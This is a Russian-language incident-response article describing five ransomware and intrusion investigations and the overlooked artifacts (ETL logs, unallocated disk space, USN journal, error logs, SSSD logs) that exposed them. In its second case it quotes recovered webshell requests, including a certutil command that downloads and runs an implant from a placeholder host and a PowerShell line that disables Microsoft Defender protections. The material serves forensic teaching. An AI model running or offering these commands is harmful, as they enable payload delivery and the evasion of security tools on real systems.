DFIR diggin’ deeper: неочевидные источники значимых артефактов атак

При расследовании атак и реагировании на них для успешного завершения кейса необходимо не только знать и смотреть хорошо известные всем артефакты, в которых чаще всего находятся значимые данные, но и заглядывать в нетипичные источники. Они могут внести неоценимый вклад в успешное расследование. Именно их мы опишем в этой статье. Чтобы не превращать рассказ в нудное перечисление, все проиллюстрируем примерами расследований.

Кейс 1

Вводная: инфраструктура компании зашифрована, обнаружено несколько инструментов атакующих, обнаружена машина, которая заражена самой первой.

На ней нет публично доступных сервисов, какого-либо веб-интерфейса, RDP снаружи недоступен. Появляется вопрос: а откуда и каким образом заражена данная система? Если снаружи ничего не доступно, то, может быть, данная система не первая в цепочке заражения и атака пришла с другой системы или сети — от заказчика или подрядчика? Но нет, других зараженных систем с более ранней датой заражения нет. Становится очевидно, что надо потратить время и провести углубленный анализ системы, чем мы и занялись.

Ситуация осложнялась тем, что перед тем, как попасть к нам, машина была перезагружена. Соответственно, цепочки процессов нет, аудит событий стандартный и не помогает получить ответы на поставленные вопросы. Нам было известно, что одним из инструментов атакующих был реверс-шелл, запущенный из оболочки PowerShell. При исследовании системы аналогичные следы ровно такой же команды были обнаружены в файле C:\Windows\System32\WDI\LogFiles\ShutdownPerfDiagLogger.etl

Что же это за файл? Как следует из расширения, это .etl, то есть Event Trace Log — системные журналы трассировки событий Windows, которые операционная система и службы телеметрии используют для записи диагностических данных, ошибок и сведений о производительности. Имя журнала может различаться в зависимости от версии ОС и роли в домене. Таких журналов достаточно много в различных расположениях, и они редко несут полезные конкретно для форензики данные. Но в данном случае этот ShutdownPerfDiagLogger.etl сыграл важную роль. Из названия можно предположить, что это некие данные, связанные с выключением системы и диагностикой в WDI (Windows Diagnostics Infrastructure). Если вспомнить, что система уже была перезагружена, становится еще интереснее посмотреть, что же есть внутри?

Вооружимся утилитой github.com/forensiclunch/ETLParser (которой, кстати, уже целых восемь лет, но она до сих пор справляется с парсингом этих файлов). Можно воспользоваться и другими утилитами, комбайнами или даже написать свои.

Пропарсив данный журнал и получив из него данные, для процесса можно найти Parent PID процесса, который, собственно, и запустил искомый реверс-шелл через оболочку PowerShell и далее найти уже его родителя. Представить цепочку процессов для нашего кейса можно следующим образом:

С первого взгляда становится понятно, что команда для создания реверс-шелла, которую видим в журналах PowerShell, запущена от имени процесса PostgreSQL. «Виновный» обнаружен, самое время погрузиться уже в его логи. И там, конечно же, находятся подтверждения:

Данная команда не единственная, которая содержалась в журналах базы данных, но одна из самых характерных. Команда представляет собой типичный RCE (Remote Code Execution) через PostgreSQL-инъекцию. Условие: у атакующего есть доступ в базу с какой-то учетной записью, у которой достаточно привилегий для выполнения системных команд (например, SUPERUSER или учетная запись, которая позволяет выдать соответствующее разрешение).

Чтобы найти дополнительные фрагменты атаки, можно посмотреть в error-логи базы данных (к ним, кстати, еще вернемся в других кейсах):

В данном фрагменте есть куски эксплойта, с использованием которого получили первоначальный доступ в PostgreSQL.

Не углубляясь в подробности того, как произошла атака на саму PostgreSQL, мы можем уверенно сказать, что именно через нее произошла компрометация системы. Другая интересная подробность: в логах PostgreSQL видны характерные следы брутфорса, начавшиеся за несколько месяцев до атаки. Однако изначальные вопросы все так же висят в воздухе. Откуда? Изнутри? Снаружи? Надо копать дальше.

Внутреннюю сеть к тому времени мы уже полностью исследовали, и основной версией было то, что атака все-таки развивалась снаружи. Но каким образом? Идентифицируем граничное устройство на pfSense, забираем его образ. Смотрим актуальную конфигурацию — там все прилично, никакого криминала нет. Но специалист по форензике должен быть дотошным, так что мы посмотрели и в резервные копии конфигураций, которые создавались с некоторой периодичностью. В этих бэкапах мы нашли, что в определенное время на граничном устройстве разрешили доступ на порт 5432 извне. Что же это за порт? Конечно же, та самая PostgreSQL, которую мы так долго искали. Так как у нас есть и внешний адрес с граничного устройства, пробиваем его по открытым источникам и получаем железное подтверждение тому, что PostgreSQL в прошлом была опубликована наружу. Дело раскрыто.

Выводы:

• незаметные подробности могут привести к успешному расследованию;
• малоизвестными артефактами не стоит пренебрегать;
• ETL-журналы могут содержать данные, которые невозможно получить из других артефактов (например, Parent PID).

Кейс 2

Вводная: инфраструктура компании зашифрована, обнаружено несколько инструментов атакующих, обнаружена машина, которая была заражена самой первой.

Самая первая машина, которая послужила точкой входа, — сервер Exchange. Так как машина зашифрована тоже, множество артефактов повреждены. Все равно начинаем ее исследовать, находим характерный путь с веб-шеллом:
С:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\Autodiscover\eoxakxtsllqfmdls.aspx.NB65

Как видно из расширения файла, он зашифрован, так что контент получить невозможно. Но есть понимание, что файла с таким наименованием в Autodiscover быть не должно.

Так как эта машина являлась точкой входа, начинаем исследовать ее более пристально. Зная то, как функционирует Exchange, находим скомпилированную версию веб-шелла в dll, смотрим его код и видим очень простой однострочник:

Так мы выяснили, что этот файл eoxakxtsllqfmdls.aspx был веб-шеллом. В частично зашифрованных журналах Exchange можно найти следы обращений к шеллу. Но что, если мы хотим большего? Что, если мы хотим команды, дополнительные индикаторы и все то полезное, что сможет обогатить наш отчет и наш же Threat Intelligence?

Вооружившись образом, именем веб-шелла и строкой, которая ищется в запросе (exec_code), можно накопать множество полезных данных о том, как атакующие проводили атаку. Например:

	
Cookie: Email=autodiscover/autodiscover.json?a=a@b.com
Host: exch01.SOMEDOMAIN.ru:444
User-Agent: python-requests/2.27.1
……
msExchProxyUri: https://mail.SOMEDOMAIN.ru/autodiscover/autodiscover.json?a=a@b.com/autodiscover/eoxakxtsllqfmdls.aspx?exec_code=Response.Write("ZZzzZzZz");var+c=new+System.Diagnostics.ProcessStartInfo("cmd.exe");
…….
++++e.StartInfo=c;c.Arguments="/c+certutil+-urlcache+-f+http://SOMEIP/smss.exe+.\smss.exe+&&+.\smss.exe";
++++e.Start();
	

В запросах видна типовая схема размещения и последующего использования веб-шелла, характерная для ProxyShell (CVE-2021-34523), и самое интересное: тут видны уже команды, которые отдавались в веб-шелл. В целом обнаружение команд атакующего через веб-шелл не редкость, но в данном случае они были обнаружены только здесь, в неразмеченном пространстве образа. Атакующий загружал и запускал некоторый исполняемый файл с именем smss.exe, которым являлся Sliver implant.

Приведем для полноты картины еще парочку характерных команд (хотя их было гораздо больше):

	
++++e.StartInfo=c;c.Arguments="/c+powershell+-c++Set-MpPreference+-ExclusionPath+'c:\\*'++-Force+;++Add-MpPreference+-ExclusionExtension+'.exe'+-Force+;+Add-MpPreference+-ExclusionExtension+'.ps1'+-Force+;+Add-MpPreference+-ExclusionExtension+'.hta'+-Force+;+Add-MpPreference+-ExclusionExtension+'.dll'+-Force+;+Set-MpPreference++-DisableIntrusionPreventionSystem+$true+;+Set-MpPreference++-DisableRealtimeMonitoring+$true+;+Set-MpPreference++-DisableBehaviorMonitoring+$true+;";
++++e.Start();

++++++e.StartInfo=c;c.Arguments="/c+c:\\windows\\svchost.exe+-retry+-ignore-cert+-connect++SOMEIP:53";
++++++e.Start();
	

В первом случае атакующие добавляют исключения в Microsoft Defender и манипулируют его настройками. Во втором случае они запускают некоторый исполняемый файл svchost.exe, который представляет собой прокси Ligolo NG.

Выводы:

• Образы, даже зашифрованные или поврежденные иным образом, можно и нужно исследовать, если на это есть время, либо если это какая-то важная система. Мы продемонстрировали примеры того, что можно найти команды атакующего, переданные через веб-шеллы, которые могут сохраняться в неразмеченном пространстве диска, даже если сами журналы приложения зашифрованы/удалены.

Кейс 3

Вводная: снова атака шифровальщиком. Некая windows-машина, на которой вредоносных файлов, кроме шифровальщика, не обнаружили. В день атаки зафиксированы некоторые события входа под какой-то УЗ, и через пять секунд после них появляется шифровальщик. Просмотр обычных часто используемых артефактов, следов запуска программ, различных логов не дает дополнительной информации, что же произошло. Можно оставить систему и перейти к следующей, но что-то не давало нам покоя.

Так как атака и реагирование по времени произошли достаточно близко, имело смысл запустить парсер USN$J (журнал файловой системы NTFS) и внимательно его исследовать. Сам журнал содержит информацию об операциях с файлами на файловой системе и имеет множество полей и строк. Самые практически полезные: дата и время, полный путь, событие, которое произошло с файлом. В процессе анализа файла мы выяснили, что в день Day0 (когда произошла атака с шифровальщиком) в системе происходили следующие события (в полном журнале сотни тысяч строк, так что, чтобы найти данные изменения, необходимо потрудиться или написать автоматизацию):

Здесь явно видно наличие двух файлов с именами «_output» и «__<unix seconds date>.0925026», где вместо этого должно было быть число (unix timestamp), например 1788179406 — 2026-08-31 15:30:06.

Наличие обоих файлов, их последовательное создание, открытие для записи, добавление контента и удаление может говорить о том, что в это время выполнялись команды на хосте, причем название файла «__<unix seconds date>.0925026» может указывать на использование самого Impacket или чего-то подобного. К такому выводу мы пришли, потому что в Impacket (в wmiexec, например) реализован схожий паттерн наименования файлов для реализации полуинтерактивного шелла, в чем можно убедиться, заглянув в проект Impacket на Github.

Разобрав атаку в день шифрования, можно обратить внимание на Day-1 и наличие файла «_output», который, как мы уже выяснили, может указывать на удаленное выполнение команд на хосте.

В данных выше (которые надо, опять же, найти среди множества других файлов) можно увидеть следы выполнения команд, после чего в системе создается некая библиотека kmevent.dll в системном каталоге, что точно неспроста. Вероятно, именно тут в систему доставили некоторую вредоносную библиотеку.

После доставки kmevent.dll, буквально через две минуты, имеются следы выполнения дополнительных команд, после чего начинаются странные дела. А именно, некоторый исполняемый hpepqiesrv.exe переименовывается в hpepqiesrv.dll, после чего создается новый файл hpepqiesrv.exe и в него записываются данные. После этого та самая kmevent.dll удаляется из системы — будто ее и не было.

Если посмотреть на данные файлы С:\Program Files\HPE\HpePqiESrv\hpepqiesrv.exe и С:\Program Files\HPE\HpePqiESrv\hpepqiesrv.dll с точки зрения файловой системы, то у них идентичные метки, типичных следов подмены меток тоже не имеется в обеих структурах $SI\$FN.

Что же это за файлы? Изначально по пути С:\Program Files\HPE\HpePqiESrv\hpepqiesrv.exe находился легитимный исполняемый файл драйвера HP, его подменили атакующие на свой вредоносный исполняемый файл, но не просто так, а так чтобы скопированный файл С:\Program Files\HPE\HpePqiESrv\hpepqiesrv.dll загружался и выполнял свою легитимную функциональность. Также можно заметить, что драйвер уже был закреплен как сервис, и подмена легитимного исполняемого позволила атакующему обеспечить и закрепление в системе, причем без типичных событий создания нового сервиса.

Выводы:

• USN$J в данном кейсе очень сильно помог в обнаружении заражения;
• Журналы USN$J достаточно быстро ротируются и не всегда содержат данные за нужный период;
• Использована техника подмены исполняемого файла, который уже закреплен как сервис, что избавляет атакующего от необходимости делать отдельные действия по закреплению в системе и делать меньше шума;
• Атакующий использовал утилиты для удаленного выполнения кода, такие как Impacket\NimExec;
• Атаку сложно обнаружить в результате анализа других, более традиционных артефактов системы.

Кейс 4

Вводная: у нас есть некоторый веб-сервис, на котором присутствуют очевидные следы заражения, при этом напрямую из access-логов каких-то следов атаки не обнаружено. А что делать? Обратиться к error-логам!

В error-логах различных приложений можно частенько обнаружить следы каких-то ошибок, по которым можно понять, что была какая-то нездоровая активность. Иногда даже бывает так, что атакующие преднамеренно используют функциональность сообщений об ошибках для вывода результатов выполнения команд. В данном случае такая техника не применялась и было достаточно посмотреть на error-логи широким взглядом и поискать аномалии.

На скриншоте открыт error-лог в VS Code, им же применена разметка страницы. На нем можно невооруженным взглядом увидеть следы команды curl с загрузкой некоего исполняемого файла в C:\Windows\temp\7zip.exe. Тут можно отметить, что открытый журнал был вообще не в таймлайне известной атаки, так что полученные данные были еще более ценными.

Учитывая, что это журналы веб-приложения, кажется, что оно не должно само по себе через curl грузить что-то, да еще и по странному пути C:\Windows\temp\7zip.exe. К моменту нашего расследования файла уже не было на файловой системе, но можно легко догадаться, что там было что-то для развития атаки. Посередине между двумя curl'ами видны странные символы. Что же с ними делать? Скопировать в CyberChef и сделать немножко магии!

Видим типичное сообщение об ошибке на русском языке.

Отдельно отметим, что можно и нужно ставить данное ПО у себя в организации на локальный сервер, для того чтобы ваши ценные данные не утекали непонятно куда.

Продолжая исследовать журналы ошибок, мы нашли еще множество интересных следов действий атакующих. Но хотелось бы поделиться только одним характерным примером:

На нем видно, что снова выполняется команда curl, но в этот раз имеется IP-адрес локальной машины, к которой осуществляется подключение. А это уже очень ценные сведения, которые позволили продвинуть расследование, возможно, даже на соседние сегменты сети или сети связанных организаций.

Касаясь темы журналов ошибок, хотелось бы еще продемонстрировать, как они могут помочь при расследовании. В данном случае подопытными будут журналы Postgres. Если в них покопаться, можно обнаружить вот такие странные и редкие строки:

Казалось бы, ничего особенного, верно? Но если опять сделать немного магии, то кажется уже, что это очень странно.

Давайте думать: в журналах Postgres есть следы ошибок, что роль «СИСТЕМА» не существует. Кажется, что Postgres при своем обычном функционировании не пытается проверить или запускать что-то связанное с такой ролью, да и в целом обычные windows-ошибки вряд ли должны попадать в журналы Postgres. Конечно, можно подумать, что какой-то легитимный сервис, запущенный от SYSTEM, мог стать источником таких сообщений об ошибках, но, учитывая, что других таких ошибок нет, это повод провести более глубокое исследование уже данного отрезка. Так что вполне можно утверждать, что в 2024 году на некоторую систему с базой данных Postgres была атака, даже не имея никаких других данных по этой системе.

Еще одним примером полезных error-логов и обнаруживаемых данных может быть следующий старый образец:

В нем в явном виде имеются следы типичного кода запуска реверс-шелла, очень удобно.

Выводы:

• В журналах ошибок различных приложений можно найти широкий спектр данных, которые помогут вам понять, что система атакована.
• Обнаруженные следы могут иметь очень разную ценность: от просто факта заражения до изменения гипотезы о точке входа и новых систем для исследования.

Кейс 5

Вводная: находим какую-то неопознанную малварь на unix-хосте. Давайте разбираться.

Имя процесса:

mss_crl --daemon

Параметры процесса:

PWD=/dev/shm
MANPATH=:
LANG=ru_RU.UTF-8
LS_COLORS=
TERM=vt102
SHLVL=2
S_COLORS=auto
OLDPWD=/
_=./mss_crl

В целом это достаточно распространенная картина с запуском из shm. В ходе дальнейшего расследования нам не удалось обнаружить каких-то других полезных данных о запуске и работе данного образца, кроме единственного журнала NSS-резолвера демона SSSD. Что же такое SSSD? SSSD — это System Security Services Daemon, то есть, попросту говоря, это системный демон в Linux, который централизованно управляет аутентификацией и доступом пользователей к сетевым службам.

В нашем случае журнал располагался по стандартному пути /var/log/sssd/sssd_nss.log. Что же там можно увидеть?

Поле	Описание
timestamp	Время события
[nss]	Модуль NSS (есть и другие модули, например pam, ifp)
[function]	Функция/подсистема внутри NSS, которая пишет сообщение
CID#xxx	Connection ID — уникальный номер соединения с клиентом
client …	Идентификатор процесса-клиента (PID, uid, командная строка)

В процессе поиска как в журнале /var/log/sssd/sssd_nss.log, так и в неразмеченном пространстве образа системы мы нашли множество ценных сведений о работе образца, например:

Здесь в явном виде видны команды атакующего, залогированные get_client_cred в процессе обращения к NSS.

Конечно, этим маленьким набором данных дело не ограничивается и мы нашли гораздо больше данных о том, что и как делал атакующий. Это видно на скриншоте.

Выводы: про журналы SSSD нечасто говорят в разрезе форензик-артефактов, хотя они содержат множество полезных данных, которые продвинут ваше понимание атаки, несмотря на отсутствие другой важной информации.

Итоги

В конечном счете форензика и реагирование на инциденты не сводятся к «открыть Event Viewer и поискать 4624». Это умение найти и посмотреть в место, которое «должно» не нести полезных данных, а потом найти там следы атаки.

Атаки все сложнее, атакующие все чаще знают, какие артефакты вы будете смотреть первыми, и очищают именно их. Рядом же, в «бесполезных» WDI-журналах, в USN$J, в error-логах бэкендов, в SSSD, в неразмеченном пространстве диска остаются следы, которые атакующий просто не подумал или не смог убрать.

Поэтому, пожалуй, главный навык в форензике — не в знании конкретного артефакта, а в привычке не останавливаться на первом же «ага, нашли шелл» и продолжать копать: кто его запустил, откуда пришла команда, что было до и что — после. Мы надеемся, что примеры, собранные в этой статье, пригодятся вам, когда в следующий раз стандартные артефакты будут пустыми. Удачной охоты!